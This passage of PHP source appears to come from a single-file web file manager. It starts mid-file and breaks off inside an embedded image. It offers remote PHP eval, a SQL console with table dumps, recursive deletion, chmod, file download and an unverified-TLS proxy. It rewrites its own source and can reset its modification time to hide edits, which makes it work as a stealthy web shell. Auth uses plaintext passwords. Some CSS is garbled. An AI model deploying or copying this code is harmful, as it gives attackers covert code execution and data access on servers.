// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+